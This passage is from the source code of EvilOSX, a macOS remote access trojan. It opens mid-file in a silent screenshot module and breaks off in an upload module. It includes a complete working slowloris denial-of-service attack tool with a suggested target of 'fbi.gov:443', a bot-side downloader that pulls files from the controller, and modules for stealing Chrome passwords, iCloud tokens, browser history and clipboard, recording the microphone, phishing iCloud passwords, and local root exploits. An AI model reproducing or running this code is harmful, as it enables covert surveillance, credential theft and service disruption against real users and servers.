16 | run_command("screencapture -x " + OUTPUT_FILE)
17 | print(run_command("base64 " + OUTPUT_FILE))
18 | run_command("rm -rf " + OUTPUT_FILE)
19 |
--------------------------------------------------------------------------------
/server/modules/bot/slowloris.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import random
3 | from datetime import datetime
4 | import ssl
5 | import threading
6 | import time
7 | import re
8 |
9 |
10 | class TargetInfo:
11 | """This class stores information about the target."""
12 |
13 | def __init__(self, host, port, ssl, connection_count=200):
14 | self.host = host
15 | self.port = port
16 | self.ssl = ssl
17 | self.connection_count = connection_count
18 | self.connections = []
19 |
20 | # Statistics related
21 | self.latest_latency_list = []
22 | self.rejected_initial_connections = 0
23 | self.rejected_connections = 0
24 | self.dropped_connections = 0
25 | self.reconnections = 0
26 |
27 | def get_latency(self):
28 | """Gets the latency in milliseconds."""
29 | latency = 0
30 | element_count = len(self.latest_latency_list)
31 |
32 | if element_count == 0:
33 | return None
34 | for value in self.latest_latency_list:
35 | latency += value
36 |
37 | return latency / element_count
38 |
39 |
40 | class UserAgent:
41 | """Static class which provides randomized user agents."""
42 |
43 | USER_AGENTS = [
44 | # Chrome
45 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
46 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
47 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
48 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
49 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
50 | "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
51 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
52 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
53 | "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
54 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
55 | "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
56 | "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
57 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
58 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
59 | "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
60 | # Firefox
61 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
62 | "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
63 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0",
64 | "Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0",
65 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0",
66 | "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
67 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
68 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0",
69 | "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
70 | "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
71 | "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
72 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0",
73 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
74 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
75 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
76 | ]
77 |
78 | @staticmethod
79 | def get_random():
80 | """:return A random user agent string."""
81 | return random.choice(UserAgent.USER_AGENTS)
82 |
83 |
84 | class Connection:
85 | """Slowloris connection."""
86 |
87 | def __init__(self, target, first_connection=False):
88 | """
89 | :type target: TargetInfo
90 | :type first_connection: bool
91 | """
92 | self.target = target
93 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
94 | self.socket.settimeout(5)
95 | try:
96 | start_time = datetime.now()
97 | self.socket.connect((target.host, target.port))
98 | self.socket.settimeout(None)
99 | if target.ssl:
100 | self.socket = ssl.wrap_socket(self.socket)
101 |
102 | if not first_connection:
103 | latency = (datetime.now() - start_time).total_seconds() * 1000.0
104 |
105 | if len(target.latest_latency_list) < 10:
106 | target.latest_latency_list.append(latency)
107 | else:
108 | target.latest_latency_list.pop(0)
109 | target.latest_latency_list.insert(0, latency)
110 | self.connected = True
111 | except socket.timeout:
112 | self.connected = False
113 | # Keep track of rejected connections
114 | if first_connection:
115 | target.rejected_initial_connections += 1
116 | else:
117 | target.rejected_connections += 1
118 | # Report first initial rejection to the user
119 | if first_connection and target.rejected_initial_connections == 1:
120 | #send_response("[%s] New connections are getting rejected." % target.host)
121 | pass
122 | # Report rejected reconnection to the user
123 | if not first_connection:
124 | #send_response("TANGO DOWN! Target unreachable.")
125 | pass
126 |
127 | def is_connected(self):
128 | """:return True if the connection has been established."""
129 | return self.connected
130 |
131 | def close(self):
132 | """Closes the connection."""
133 | try:
134 | self.socket.shutdown(1)
135 | self.socket.close()
136 | except Exception:
137 | pass
138 |
139 | def send_headers(self, user_agent):
140 | """Sends headers."""
141 | template = "GET /?%s HTTP/1.1\\r\\n%s\\r\\nAccept-language: en-US,en,q=0.5\\r\\n"
142 | try:
143 | self.socket.send((template % (random.randrange(0, 2000), user_agent)).encode("ascii"))
144 | except socket.timeout:
145 | pass
146 | return self
147 |
148 | def keep_alive(self):
149 | """Sends garbage to keep the connection alive."""
150 | try:
151 | self.socket.send(("X-a: %s\\r\\n" % (random.randint(0, 5000))).encode("ascii"))
152 | except socket.timeout:
153 | pass
154 |
155 |
156 | class Controller:
157 | """Controls all slowloris connections."""
158 |
159 | def __init__(self):
160 | self.target = None
161 | self.stopped = False
162 |
163 | self.keepalive_thread = threading.Thread(target=self.keep_alive)
164 | self.keepalive_thread.daemon = True
165 | self.keepalive_thread.start()
166 |
167 | def attack(self, target):
168 | """Starts the attack against the target.
169 |
170 | :type target: TargetInfo
171 | """
172 | #send_response("[%s] Initializing %s connections..." % (target.host, target.connection_count))
173 | self.target = target
174 |
175 | # Start x connections and send the initial HTTP headers.
176 | for i in range(target.connection_count):
177 | if self.stopped:
178 | break
179 |
180 | conn = Connection(target, True).send_headers(UserAgent.get_random())
181 | self.target.connections.insert(0, conn)
182 |
183 | if i == (self.target.connection_count - 1):
184 | #send_response("All connections initialized.")
185 | pass
186 |
187 | def stop(self):
188 | """Stops the attack."""
189 | #send_response("Shutting down all connections.")
190 | self.stopped = True
191 |
192 | for conn in self.target.connections:
193 | conn.close()
194 |
195 | def keep_alive(self):
196 | """Background thread which keeps all connections alive."""
197 | while True:
198 | if self.stopped:
199 | #send_response("Stopped slowloris attack.")
200 | break
201 |
202 | time.sleep(5)
203 | self.keep_target_alive(self.target)
204 |
205 | def keep_target_alive(self, target):
206 | """Keeps all connections alive."""
207 | # Print latest latency.
208 | latency = target.get_latency()
209 |
210 | if latency:
211 | # ! send_response("[%s] Current latency: %s ms" % (target.host, latency))
212 | pass
213 |
214 | connection_count = len(target.connections)
215 |
216 | # Every 10 seconds, send HTTP garbage to prevent the connection from timing out.
217 | for i in range(0, connection_count):
218 | try:
219 | if self.stopped:
220 | break
221 |
222 | target.connections[i].keep_alive()
223 |
224 | # If the server closed one of our connections,
225 | # re-open the connection in its place.
226 | except Exception:
227 | if target.dropped_connections == 0:
228 | # Notify the server that the host started dropping connections.
229 | #send_response("[%s] Server started dropping connections." % target.host, "slowloris")
230 | pass
231 |
232 | target.dropped_connections += 1
233 |
234 | # Notify the user about the amount of reconnections.
235 | threshold = 10
236 |
237 | if target.reconnections >= threshold:
238 | # send_response(
239 | # "[%s] Reconnected %s dropped connections." % (target.host, target.reconnections),
240 | # "slowloris"
241 | #)
242 | target.reconnections = 0
243 |
244 | # Reconnect the socket.
245 | conn = Connection(target).send_headers(UserAgent.get_random())
246 |
247 | if conn.is_connected:
248 | target.connections[i] = conn
249 | target.reconnections += 1
250 |
251 |
252 | def get_webserver(target):
253 | """
254 | :return The name of the running web server.
255 | :param target: TargetInfo
256 | """
257 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
258 | sock.settimeout(3)
259 |
260 | try:
261 | sock.connect((target.host, target.port))
262 | sock.send("GET / HTTP/1.1\\r\\n\\r\\n".encode("ascii"))
263 |
264 | response = sock.recv(1024).decode("utf-8")
265 |
266 | sock.shutdown(1)
267 | sock.close()
268 |
269 | for line in response.split("\\r\\n"):
270 | if line.startswith("Server:"):
271 | return line.split("Server:")[1].strip()
272 | except Exception:
273 | return None
274 | return None
275 |
276 |
277 | def parse_target(target):
278 | """Parses a target into a TargetInfo object."""
279 | pat = re.compile(r"(?P(?:\w|\.)+)(\:(?P\d+))?")
280 | mat = pat.match(target)
281 | host, port = (mat.group("host"), mat.group("port"))
282 | port = 80 if port is None else int(port)
283 | ssl = port == 443
284 | return TargetInfo(host, port, ssl)
285 |
286 |
287 | def run(options):
288 | # Pack it up, pack it in, let me begin...
289 | target = options["target"]
290 |
291 | controller = Controller()
292 | #send_response("Starting slowloris attack against: " + target)
293 |
294 | try:
295 | # Spawn the attacking thread
296 | attack_thread = threading.Thread(target=controller.attack, args=(parse_target(target),))
297 | attack_thread.daemon = True
298 | attack_thread.start()
299 |
300 | while True:
301 | # So we can catch when the user kills this task.
302 | time.sleep(1)
303 | except SystemExit:
304 | # Kill task called, stop attacking.
305 | controller.stop()
306 |
--------------------------------------------------------------------------------
/server/modules/bot/upload.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from os import path
6 | import urllib2
7 |
8 |
9 | def run(options):
10 | download_url = "http://%s:%s/%s" % (options["server_host"], options["server_port"], options["download_path"])
11 | output_path = path.join(options["output_dir"], options["output_name"])
12 |
13 | with open(output_path, "wb") as output_file:
14 | output_file.write(urllib2.urlopen(download_url).read())
15 | output_file.close() # Important!
16 |
17 | print("File downloaded finished, saved to: " + output_path)
18 |
--------------------------------------------------------------------------------
/server/modules/helper.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import random
6 | import string
7 | from abc import ABCMeta, abstractmethod
8 | from os import path
9 |
10 | from server.model import Model
11 |
12 | DATA_DIRECTORY = path.realpath(path.join(path.dirname(__file__), path.pardir, path.pardir, "data"))
13 | OUTPUT_DIRECTORY = path.join(DATA_DIRECTORY, "output")
14 |
15 |
16 | def random_string(size=random.randint(6, 15), numbers=False):
17 | """
18 | :type size: int
19 | :type numbers: bool
20 | :rtype: str
21 | :return A randomly generated string of x characters.
22 | """
23 | result = ""
24 |
25 | for i in range(0, size):
26 | if not numbers:
27 | result += random.choice(string.ascii_letters)
28 | else:
29 | result += random.choice(string.ascii_letters + string.digits)
30 | return result
31 |
32 |
33 | class ModuleViewABC:
34 | """Abstract base class which allows modules to interact with the view."""
35 | __metaclass__ = ABCMeta
36 |
37 | @abstractmethod
38 | def display_error(self, text):
39 | """Displays an error message to the user.
40 |
41 | :type text: str
42 | """
43 | pass
44 |
45 | @abstractmethod
46 | def display_info(self, text):
47 | """Displays an information message to the user.
48 |
49 | :type text: str
50 | """
51 | pass
52 |
53 | @abstractmethod
54 | def should_continue(self, messages):
55 | """Shows the list of messages and asks the user if they want to continue.
56 |
57 | :type messages: list[str]
58 | :rtype: bool
59 | """
60 | pass
61 |
62 | @abstractmethod
63 | def output(self, line, prefix=""):
64 | """Outputs a message to the response view.
65 |
66 | :type line: str
67 | :type prefix: str
68 | """
69 | pass
70 |
71 | def output_separator(self):
72 | self.output("-" * 5)
73 |
74 |
75 | class ModuleABC:
76 | """Abstract base class for modules."""
77 | __metaclass__ = ABCMeta
78 |
79 | def __init__(self, view, model):
80 | """
81 | :type view: ModuleViewABC
82 | :type model: Model
83 | """
84 | self._view = view
85 | self._model = model
86 |
87 | @abstractmethod
88 | def get_info(self):
89 | """
90 | :rtype: dict
91 | :return: A dictionary containing basic information about this module.
92 | """
93 | pass
94 |
95 | def get_setup_messages(self):
96 | """
97 | :rtype: list[str]
98 | :return A list of input messages.
99 | """
100 | return []
101 |
102 | def setup(self, set_options):
103 | """:return: A tuple containing a "was the setup successful" boolean and configuration options.
104 |
105 | :type set_options: list
106 | :rtype: tuple[bool, dict or None]
107 | """
108 | return True, None
109 |
110 | def process_response(self, response, response_options):
111 | """Processes the module's response.
112 |
113 | :type response: bytes
114 | :type response_options: dict
115 | """
116 | self._view.output_separator()
117 | self._view.output(response.decode())
118 |
--------------------------------------------------------------------------------
/server/modules/server/CVE-2015-5889.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Attempt to get root via CVE-2015-5889 (10.9.5 to 10.10.5).",
13 | "References": [
14 | "https://www.exploit-db.com/exploits/38371/",
15 | "https://www.rapid7.com/db/modules/exploit/osx/local/rsh_libmalloc"
16 | ],
17 | "Stoppable": False
18 | }
19 |
--------------------------------------------------------------------------------
/server/modules/server/CVE-2020-3950.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "HackerFantastic"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["HackerFantastic"],
12 | "Description": "CVE-2020-3950 macOS VMware fusion <= 11.5.2 local root exploit",
13 | "References": [
14 | "https://www.vmware.com/security/advisories/VMSA-2020-0005.html",
15 | "https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2020-3950.sh",
16 | "https://blog.grimm-co.com/post/analyzing-suid-binaries/"
17 | ],
18 | "Stoppable": False
19 | }
20 |
--------------------------------------------------------------------------------
/server/modules/server/browser_history.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Retrieve browser history (Chrome and Safari).",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
17 | def get_setup_messages(self):
18 | return [
19 | "History limit (Leave empty for 10): ",
20 | "Would you like to output to a file? [y/N]: "
21 | ]
22 |
23 | def setup(self, set_options):
24 | history_limit = set_options[0]
25 | output_file = set_options[1].lower()
26 |
27 | if not history_limit:
28 | history_limit = 10
29 | if not output_file or output_file == "n":
30 | output_file = ""
31 | elif output_file:
32 | output_file = "/tmp/{}.txt".format(random_string(8))
33 |
34 | if not str(history_limit).isdigit():
35 | self._view.display_error("Invalid history limit.", "attention")
36 | return False, None
37 | else:
38 | return True, {
39 | "history_limit": history_limit,
40 | "output_file": output_file
41 | }
42 |
--------------------------------------------------------------------------------
/server/modules/server/chrome_passwords.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Retrieve Chrome passwords.",
13 | "References": [
14 | "https://github.com/manwhoami/OSXChromeDecrypt"
15 | ],
16 | "Stoppable": False
17 | }
18 |
19 | def setup(self, set_options):
20 | confirm = self._view.should_continue([
21 | "This will prompt the bot to allow keychain access."
22 | ])
23 |
24 | if not confirm or confirm == "y":
25 | return True, None
26 | else:
27 | return False, None
28 |
--------------------------------------------------------------------------------
/server/modules/server/clipboard.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 | import os
7 |
8 |
9 | class Module(ModuleABC):
10 | def get_info(self):
11 | return {
12 | "Author:": ["Marten4n6"],
13 | "Description": "Retrieve or monitor the bot's clipboard.",
14 | "References": [],
15 | "Stoppable": False
16 | }
17 |
18 | def get_setup_messages(self):
19 | return [
20 | "Time in seconds to monitor the clipboard (Leave empty for 0): ",
21 | "Remote output directory (Leave empty to not output to a file): "
22 | ]
23 |
24 | def setup(self, set_options):
25 | monitor_time = set_options[0]
26 |
27 | if not monitor_time:
28 | monitor_time = 0
29 |
30 | if not str(monitor_time).isdigit():
31 | self._view.display_error("Invalid monitor time (should be in seconds).")
32 | return False, None
33 | else:
34 | output_file = set_options[1]
35 |
36 | return True, {
37 | "monitor_time": monitor_time,
38 | "output_file": output_file
39 | }
40 |
--------------------------------------------------------------------------------
/server/modules/server/decrypt_mme.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Retrieve iCloud and MMe authorization tokens.",
13 | "References": [
14 | "https://github.com/manwhoami/MMeTokenDecrypt"
15 | ],
16 | "Stoppable": False
17 | }
18 |
19 | def setup(self, set_options):
20 | should_continue = self._view.should_continue([
21 | "This will prompt the bot to allow keychain access."
22 | ])
23 |
24 | if should_continue:
25 | return True, None
26 | else:
27 | return False, None
28 |
--------------------------------------------------------------------------------
/server/modules/server/download.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 | from os import path
7 | from Cryptodome.Hash import MD5
8 |
9 |
10 | class Module(ModuleABC):
11 | def get_info(self):
12 | return {
13 | "Author:": ["Marten4n6"],
14 | "Description": "Download a file or directory from the bot.",
15 | "References": [],
16 | "Stoppable": False
17 | }
18 |
19 | def get_setup_messages(self):
20 | return [
21 | "Path to file or directory on the bot's machine: ",
22 | "Buffer size (Leave empty for 4096 bytes): ",
23 | "Local output name (Leave empty for ): "
24 | ]
25 |
26 | def setup(self, set_options):
27 | download_file = set_options[0]
28 | buffer_size = set_options[1]
29 | output_name = set_options[2]
30 |
31 | if not buffer_size:
32 | buffer_size = 4096
33 | elif not str(buffer_size).isdigit():
34 | self._view.display_error("Invalid buffer size.")
35 | return False, None
36 |
37 | if not output_name:
38 | output_name = random_string(8) + path.splitext(download_file)[1]
39 |
40 | if path.exists(path.join(OUTPUT_DIRECTORY, path.basename(download_file))):
41 | self._view.display_error("A local file with that name already exists!")
42 | return False, None
43 | else:
44 | return True, {
45 | "buffer_size": buffer_size,
46 | "file_path": download_file,
47 | "response_options": {
48 | "output_name": output_name
49 | }
50 | }
51 |
52 | def process_response(self, response, response_options):
53 | # Files are sent back to us in small pieces (encoded with base64),
54 | # we simply decode these pieces and write them to the output file.
55 | output_name = response_options["output_name"]
56 | output_file = path.join(OUTPUT_DIRECTORY, output_name)
57 |
58 | try:
59 | str_response = response.decode()
60 | except UnicodeDecodeError:
61 | str_response = ""
62 |
63 | if "Failed to download" in str_response:
64 | self._view.output_separator()
65 | self._view.output(str_response, "attention")
66 | elif "Compressing directory" in str_response:
67 | self._view.output_separator()
68 | self._view.output(str_response, "info")
69 | elif "Stopped" in str_response:
70 | self._view.output_separator()
71 | self._view.output(str_response, "info")
72 | elif "Started" in str_response:
73 | md5_hash = str_response.split("|")[1]
74 |
75 | self._view.output_separator()
76 | self._view.output("Started downloading: \"{}\"...".format(output_name))
77 | self._view.output("Remote MD5 file hash: {}".format(md5_hash))
78 | elif "Finished" in str_response:
79 | self._view.output_separator()
80 | self._view.output("Local MD5 file hash (MUST MATCH!): {}".format(self._get_file_hash(output_file)))
81 | self._view.output("Finished file download, saved to: {}".format(output_file))
82 | else:
83 | with open(output_file, "ab") as output_file:
84 | output_file.write(response)
85 |
86 | @staticmethod
87 | def _get_file_hash(file_path):
88 | result = MD5.new()
89 |
90 | with open(file_path, "rb") as input_file:
91 | while True:
92 | data = input_file.read(4096)
93 |
94 | if not data:
95 | break
96 | result.update(data)
97 | return result.hexdigest()
98 |
--------------------------------------------------------------------------------
/server/modules/server/get_backups.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import ModuleABC
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Show a list of devices backed up by iTunes.",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
--------------------------------------------------------------------------------
/server/modules/server/get_info.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import ModuleABC
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Return basic information about the bot.",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
--------------------------------------------------------------------------------
/server/modules/server/icloud_contacts.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import ModuleABC
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Retrieve iCloud contacts.",
13 | "References": [
14 | "https://github.com/manwhoami/iCloudContacts"
15 | ],
16 | "Stoppable": False
17 | }
18 |
--------------------------------------------------------------------------------
/server/modules/server/microphone.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Record the microphone.",
13 | "References": [
14 | "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/collection/osx/osx_mic_record.py",
15 | "https://developer.apple.com/documentation/avfoundation/avaudiorecorder"
16 | ],
17 | "Stoppable": False
18 | }
19 |
20 | def get_setup_messages(self):
21 | return [
22 | "Time in seconds to record (Leave empty for 5): ",
23 | "Remote output directory (Leave empty for /tmp): ",
24 | "Remote output name (Leave empty for ): "
25 | ]
26 |
27 | def setup(self, set_options):
28 | record_time = set_options[0]
29 | output_dir = set_options[1]
30 | output_name = set_options[2]
31 |
32 | if not record_time:
33 | record_time = 5
34 | if not output_dir:
35 | output_dir = "/tmp"
36 | if not output_name:
37 | output_name = random_string(8)
38 |
39 | return True, {
40 | "record_time": record_time,
41 | "output_dir": output_dir,
42 | "output_name": output_name
43 | }
44 |
--------------------------------------------------------------------------------
/server/modules/server/phish_itunes.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Phish the bot for their iCloud password via iTunes.",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
17 | def get_setup_messages(self):
18 | return [
19 | "iTunes email address to phish: "
20 | ]
21 |
22 | def setup(self, set_options):
23 | email = set_options[0]
24 |
25 | if not email or "@" not in email:
26 | self._view.display_error("Invalid email address.")
27 | return False, None
28 | else:
29 | return True, {
30 | "email": email
31 | }
32 |
--------------------------------------------------------------------------------
/server/modules/server/remove_bot.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Remove EvilOSX from the bot.",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
17 | def get_setup_messages(self):
18 | return [
19 | "Notify when the bot is removed? [y/N]: "
20 | ]
21 |
22 | def setup(self, set_options):
23 | should_continue = self._view.should_continue([
24 | "You are about to remove EvilOSX from the bot(s)."
25 | ])
26 |
27 | if not should_continue:
28 | return False, None
29 | else:
30 | should_notify = set_options[0].lower()
31 | if should_notify == "y":
32 | should_notify = True
33 | else:
34 | should_notify = False
35 |
36 | return True, {
37 | "response_options": {
38 | "should_notify": should_notify
39 | }
40 | }
41 |
42 | def process_response(self, response, response_options):
43 | if response_options["should_notify"]:
44 | self._view.output_separator()
45 | self._view.output(response.decode(), "info")
46 |
47 |
--------------------------------------------------------------------------------
/server/modules/server/screenshot.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 | from base64 import b64decode
7 | from os import mkdir
8 |
9 |
10 | class Module(ModuleABC):
11 | def get_info(self):
12 | return {
13 | "Author:": ["Marten4n6"],
14 | "Description": "Take a screenshot of the bot's screen.",
15 | "References": [],
16 | "Stoppable": False
17 | }
18 |
19 | def get_setup_messages(self):
20 | return [
21 | "Local output name (Leave empty for ): "
22 | ]
23 |
24 | def setup(self, set_options):
25 | output_name = set_options[0]
26 |
27 | if not output_name:
28 | output_name = random_string(8)
29 |
30 | return True, {
31 | "response_options": {
32 | "output_name": output_name
33 | }
34 | }
35 |
36 | def process_response(self, response, response_options):
37 | output_name = "{}.png".format(response_options["output_name"])
38 | output_file = path.join(OUTPUT_DIRECTORY, output_name)
39 |
40 | if not path.isdir(OUTPUT_DIRECTORY):
41 | mkdir(OUTPUT_DIRECTORY)
42 |
43 | with open(output_file, "wb") as open_file:
44 | open_file.write(b64decode(response))
45 |
46 | self._view.output_separator()
47 | self._view.output("Screenshot saved to: {}".format(path.realpath(output_file)), "info")
48 |
--------------------------------------------------------------------------------
/server/modules/server/slowloris.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author": ["Marten4n6"],
12 | "Description": "Perform a slowloris DoS attack.",
13 | "References": [
14 | "https://en.wikipedia.org/wiki/Slowloris_(computer_security)",
15 | "https://github.com/ProjectMayhem/PySlowLoris"
16 | ],
17 | "Stoppable": False
18 | }
19 |
20 | def get_setup_messages(self):
21 | return [
22 | "Target to attack (example: fbi.gov:443): "
23 | ]
24 |
25 | def setup(self, set_options):
26 | # This attack only works on Apache 1x, 2x, dhttpd, and some other minor servers.
27 | # Servers like nginx are not vulnerable to this form of attack.
28 | # If no port is specified 80 will be used.
29 | target = set_options[0]
30 |
31 | if not target:
32 | self._view.display_error("Invalid target.")
33 | return False, None
34 | else:
35 | return True, {
36 | "target": target
37 | }
38 |
--------------------------------------------------------------------------------
/server/modules/server/update_bot.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 |
7 |
8 | class Module(ModuleABC):
9 | def get_info(self):
10 | return {
11 | "Author:": ["Marten4n6"],
12 | "Description": "Update the bot to the latest (local) version.",
13 | "References": [],
14 | "Stoppable": False
15 | }
16 |
17 | def setup(self, set_options):
18 | self._view.display_error("This feature hasn't been implemented yet!")
19 | return False, None
20 |
--------------------------------------------------------------------------------
/server/modules/server/upload.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from server.modules.helper import *
6 | from os import path
7 | from threading import Thread
8 | from time import sleep
9 |
10 |
11 | class Module(ModuleABC):
12 | def get_info(self):
13 | return {
14 | "Author:": ["Marten4n6"],
15 | "Description": "Upload a file to the bot.",
